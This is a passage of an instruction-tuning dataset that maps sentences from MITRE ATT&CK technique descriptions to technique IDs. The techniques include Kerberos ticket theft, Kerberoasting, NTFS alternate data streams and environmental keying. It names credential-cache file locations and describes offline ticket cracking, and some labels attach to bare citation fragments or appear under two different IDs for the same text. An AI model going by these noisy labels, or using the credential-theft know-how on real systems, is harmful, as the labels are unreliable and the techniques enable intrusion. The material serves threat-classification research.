MITRE techniques contained in the text.", "input": "These difficulties can slow down the incident response process and help adversaries hide their tactics, techniques, and procedures (TTPs).", "output": "T1480.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These difficulties can slow down the incident response process and help adversaries hide their tactics, techniques, and procedures (TTPs). ### Response: T1480.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similar to [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027), adversaries may use environmental keying to help protect their TTPs and evade detection.", "output": "T1480.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similar to [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027), adversaries may use environmental keying to help protect their TTPs and evade detection. ### Response: T1480.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Environmental keying may be used to deliver an encrypted payload to the target that will use target-specific values to decrypt the payload before execution.(Citation: Kaspersky Gauss Whitepaper)(Citation:", "output": "T1480.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Environmental keying may be used to deliver an encrypted payload to the target that will use target-specific values to decrypt the payload before execution.(Citation: Kaspersky Gauss Whitepaper)(Citation: ### Response: T1480.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware)(Citation: Demiguise Guardrail Router Logo)", "output": "T1480.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware)(Citation: Demiguise Guardrail Router Logo) ### Response: T1480.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By utilizing target-specific values to decrypt the payload the adversary can avoid packaging the decryption key with the payload or sending it over a potentially monitored network connection.", "output": "T1480.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By utilizing target-specific values to decrypt the payload the adversary can avoid packaging the decryption key with the payload or sending it over a potentially monitored network connection. ### Response: T1480.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Depending on the technique for gathering target-specific values, reverse engineering of the encrypted payload can be exceptionally difficult.(Citation:", "output": "T1480.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Depending on the technique for gathering target-specific values, reverse engineering of the encrypted payload can be exceptionally difficult.(Citation: ### Response: T1480.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Kaspersky Gauss Whitepaper)", "output": "T1480.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Kaspersky Gauss Whitepaper) ### Response: T1480.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within.", "output": "T1480.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. ### Response: T1480.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Like other [Execution Guardrails](https://attack.mitre.org/techniques/T1480), environmental keying can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within.", "output": "T1480.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Like other [Execution Guardrails](https://attack.mitre.org/techniques/T1480), environmental keying can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. ### Response: T1480.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This activity is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497).", "output": "T1480.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This activity is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497). ### Response: T1480.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of environmental keying will involve checking for an expected target-specific value that must match for decryption and subsequent execution to be successful.", "output": "T1480.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of environmental keying will involve checking for an expected target-specific value that must match for decryption and subsequent execution to be successful. ### Response: T1480.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use fallback or alternate communication channels if the primary channel is compromised or inaccessible in order to maintain reliable command and control and to avoid data transfer thresholds.", "output": "T1008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use fallback or alternate communication channels if the primary channel is compromised or inaccessible in order to maintain reliable command and control and to avoid data transfer thresholds. ### Response: T1008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to hide artifacts associated with their behaviors to evade detection.", "output": "T1564", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to hide artifacts associated with their behaviors to evade detection. ### Response: T1564."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Operating systems may have features to hide various artifacts, such as important system files and administrative task execution, to avoid disrupting user work environments and prevent users from changing files or features on the system.", "output": "T1564", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Operating systems may have features to hide various artifacts, such as important system files and administrative task execution, to avoid disrupting user work environments and prevent users from changing files or features on the system. ### Response: T1564."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse these features to hide artifacts such as files, directories, user accounts, or other system activity to evade detection.(Citation: Sofacy Komplex Trojan)(Citation: Cybereason OSX Pirrit)(Citation:", "output": "T1564", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse these features to hide artifacts such as files, directories, user accounts, or other system activity to evade detection.(Citation: Sofacy Komplex Trojan)(Citation: Cybereason OSX Pirrit)(Citation: ### Response: T1564."}{"instruction": "List the MITRE techniques contained in the text.", "input": "MalwareBytes ADS July 2015)", "output": "T1564", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: MalwareBytes ADS July 2015) ### Response: T1564."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also attempt to hide artifacts associated with malicious behavior by creating computing regions that are isolated from common security instrumentation, such as through the use of virtualization technology.(Citation: Sophos Ragnar May 2020)", "output": "T1564", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also attempt to hide artifacts associated with malicious behavior by creating computing regions that are isolated from common security instrumentation, such as through the use of virtualization technology.(Citation: Sophos Ragnar May 2020) ### Response: T1564."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use NTFS file attributes to hide their malicious data in order to evade detection.", "output": "T1564.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use NTFS file attributes to hide their malicious data in order to evade detection. ### Response: T1564.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition.", "output": "T1564.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. ### Response: T1564.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: SpectorOps Host-Based Jul 2017)", "output": "T1564.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: SpectorOps Host-Based Jul 2017) ### Response: T1564.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files).", "output": "T1564.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). ### Response: T1564.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)", "output": "T1564.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014) ### Response: T1564.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may store malicious data or binaries in file attribute metadata instead of directly in files.", "output": "T1564.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may store malicious data or binaries in file attribute metadata instead of directly in files. ### Response: T1564.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may be done to evade some defenses, such as static indicator scanning tools and anti-virus.", "output": "T1564.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. ### Response: T1564.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)", "output": "T1564.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015) ### Response: T1564.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003).", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Kerberos is an authentication protocol widely used in modern Windows domain environments.", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Kerberos is an authentication protocol widely used in modern Windows domain environments. ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In Kerberos environments, referred to as \u201crealms\u201d, there are three basic participants: client, service, and Key Distribution Center (KDC).(Citation: ADSecurity Kerberos Ring Decoder)", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In Kerberos environments, referred to as \u201crealms\u201d, there are three basic participants: client, service, and Key Distribution Center (KDC).(Citation: ADSecurity Kerberos Ring Decoder) ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Clients request access to a service and through the exchange of Kerberos tickets, originating from KDC, they are granted access after having successfully authenticated.", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Clients request access to a service and through the exchange of Kerberos tickets, originating from KDC, they are granted access after having successfully authenticated. ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The KDC is responsible for both authentication and ticket granting.", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The KDC is responsible for both authentication and ticket granting. ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to abuse Kerberos by stealing tickets or forging tickets to enable unauthorized access.", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to abuse Kerberos by stealing tickets or forging tickets to enable unauthorized access. ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On Windows, the built-in <code>klist</code> utility can be used to list and analyze cached Kerberos tickets.(Citation: Microsoft Klist)\n\nLinux systems on Active Directory domains store Kerberos credentials locally in the credential cache file referred to as the \"ccache\".", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On Windows, the built-in <code>klist</code> utility can be used to list and analyze cached Kerberos tickets.(Citation: Microsoft Klist)\n\nLinux systems on Active Directory domains store Kerberos credentials locally in the credential cache file referred to as the \"ccache\". ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The credentials are stored in the ccache file while they remain valid and generally while a user's session lasts.(Citation: MIT ccache)", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The credentials are stored in the ccache file while they remain valid and generally while a user's session lasts.(Citation: MIT ccache) ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On modern Redhat Enterprise Linux systems, and derivative distributions, the System Security Services Daemon (SSSD) handles Kerberos tickets.", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On modern Redhat Enterprise Linux systems, and derivative distributions, the System Security Services Daemon (SSSD) handles Kerberos tickets. ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By default SSSD maintains a copy of the ticket database that can be found in <code>/var/lib/sss/secrets/secrets.ldb</code> as well as the corresponding key located in <code>/var/lib/sss/secrets/.secrets.mkey</code>.", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By default SSSD maintains a copy of the ticket database that can be found in <code>/var/lib/sss/secrets/secrets.ldb</code> as well as the corresponding key located in <code>/var/lib/sss/secrets/.secrets.mkey</code>. ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Both files require root access to read.", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Both files require root access to read. ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If an adversary is able to access the database and key, the credential cache Kerberos blob can be extracted and converted into a usable Kerberos ccache file that adversaries may use for [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003).", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If an adversary is able to access the database and key, the credential cache Kerberos blob can be extracted and converted into a usable Kerberos ccache file that adversaries may use for [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The ccache file may also be converted into a Windows format using tools such as Kekeo.(Citation:", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The ccache file may also be converted into a Windows format using tools such as Kekeo.(Citation: ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Linux Kerberos Tickets)(Citation: Brining MimiKatz to Unix)(Citation: Kekeo)", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Linux Kerberos Tickets)(Citation: Brining MimiKatz to Unix)(Citation: Kekeo) ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Kerberos tickets on macOS are stored in a standard ccache format, similar to Linux.", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Kerberos tickets on macOS are stored in a standard ccache format, similar to Linux. ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By default, access to these ccache entries is federated through the KCM daemon process via the Mach RPC protocol, which uses the caller's environment to determine access.", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By default, access to these ccache entries is federated through the KCM daemon process via the Mach RPC protocol, which uses the caller's environment to determine access. ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The storage location for these ccache entries is influenced by the <code>/etc/krb5.conf</code> configuration file and the <code>KRB5CCNAME</code> environment variable which can specify to save them to disk or keep them protected via the KCM daemon.", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The storage location for these ccache entries is influenced by the <code>/etc/krb5.conf</code> configuration file and the <code>KRB5CCNAME</code> environment variable which can specify to save them to disk or keep them protected via the KCM daemon. ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Users can interact with ticket storage using <code>kinit</code>, <code>klist</code>, <code>ktutil</code>, and <code>kcc</code> built-in binaries or via Apple's native Kerberos framework.", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Users can interact with ticket storage using <code>kinit</code>, <code>klist</code>, <code>ktutil</code>, and <code>kcc</code> built-in binaries or via Apple's native Kerberos framework. ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can use open source tools to interact with the ccache files directly or to use the Kerberos framework to call lower-level APIs for extracting the user's TGT or Service Tickets.(Citation:", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can use open source tools to interact with the ccache files directly or to use the Kerberos framework to call lower-level APIs for extracting the user's TGT or Service Tickets.(Citation: ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "SpectorOps Bifrost Kerberos macOS 2019)(Citation: macOS kerberos framework MIT)", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: SpectorOps Bifrost Kerberos macOS 2019)(Citation: macOS kerberos framework MIT) ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse a valid Kerberos ticket-granting ticket (TGT) or sniff network traffic to obtain a ticket-granting service (TGS) ticket that may be vulnerable to [Brute Force](https://attack.mitre.org/techniques/T1110).(Citation: Empire InvokeKerberoast Oct 2016)(Citation:", "output": "T1558.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse a valid Kerberos ticket-granting ticket (TGT) or sniff network traffic to obtain a ticket-granting service (TGS) ticket that may be vulnerable to [Brute Force](https://attack.mitre.org/techniques/T1110).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: ### Response: T1558.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "AdSecurity Cracking Kerberos Dec 2015) \n\nService principal names (SPNs) are used to uniquely identify each instance of a Windows service.", "output": "T1558.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: AdSecurity Cracking Kerberos Dec 2015) \n\nService principal names (SPNs) are used to uniquely identify each instance of a Windows service. ### Response: T1558.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service(Citation: Microsoft Detecting Kerberoasting Feb 2018)).(Citation: Microsoft SPN)(Citation:", "output": "T1558.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service(Citation: Microsoft Detecting Kerberoasting Feb 2018)).(Citation: Microsoft SPN)(Citation: ### Response: T1558.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft SetSPN)(Citation: SANS Attacking Kerberos Nov 2014)(Citation: Harmj0y Kerberoast Nov 2016)", "output": "T1558.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft SetSPN)(Citation: SANS Attacking Kerberos Nov 2014)(Citation: Harmj0y Kerberoast Nov 2016) ### Response: T1558.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC).(Citation: Empire InvokeKerberoast Oct 2016)(Citation:", "output": "T1558.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: ### Response: T1558.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline", "output": "T1558.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline ### Response: T1558.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Brute Force](https://attack.mitre.org/techniques/T1110) attacks that may expose plaintext credentials.(Citation:", "output": "T1558.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Brute Force](https://attack.mitre.org/techniques/T1110) attacks that may expose plaintext credentials.(Citation: ### Response: T1558.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "AdSecurity Cracking Kerberos Dec 2015)(Citation: Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerberoast Nov 2016)", "output": "T1558.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: AdSecurity Cracking Kerberos Dec 2015)(Citation: Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerberoast Nov 2016) ### Response: T1558.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This same behavior could be executed using service tickets captured from network traffic.(Citation:", "output": "T1558.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This same behavior could be executed using service tickets captured from network traffic.(Citation: ### Response: T1558.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "AdSecurity Cracking Kerberos Dec 2015)\n\nCracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2014)", "output": "T1558.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: AdSecurity Cracking Kerberos Dec 2015)\n\nCracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2014) ### Response: T1558.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition.", "output": "T1096", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. ### Response: T1096."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: SpectorOps Host-Based Jul 2017)", "output": "T1096", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: SpectorOps Host-Based Jul 2017) ### Response: T1096."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files).", "output": "T1096", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). ### Response: T1096."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)", "output": "T1096", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014) ### Response: T1096."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may store malicious data or binaries in file attribute metadata instead of directly in files.", "output": "T1096", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may store malicious data or binaries in file attribute metadata instead of directly in files. ### Response: T1096."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may be done to evade some defenses, such as static indicator scanning tools and anti-virus.", "output": "T1096", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. ### Response: T1096."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)", "output": "T1096", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015) ### Response: T1096."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software.", "output": "T1003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. ### Response: T1003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Credentials can then be used to perform [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and access restricted information.", "output": "T1003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Credentials can then be used to perform [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and access restricted information. ### Response: T1003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Several of the tools mentioned in associated sub-techniques may be used by both adversaries and professional security testers.", "output": "T1003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that 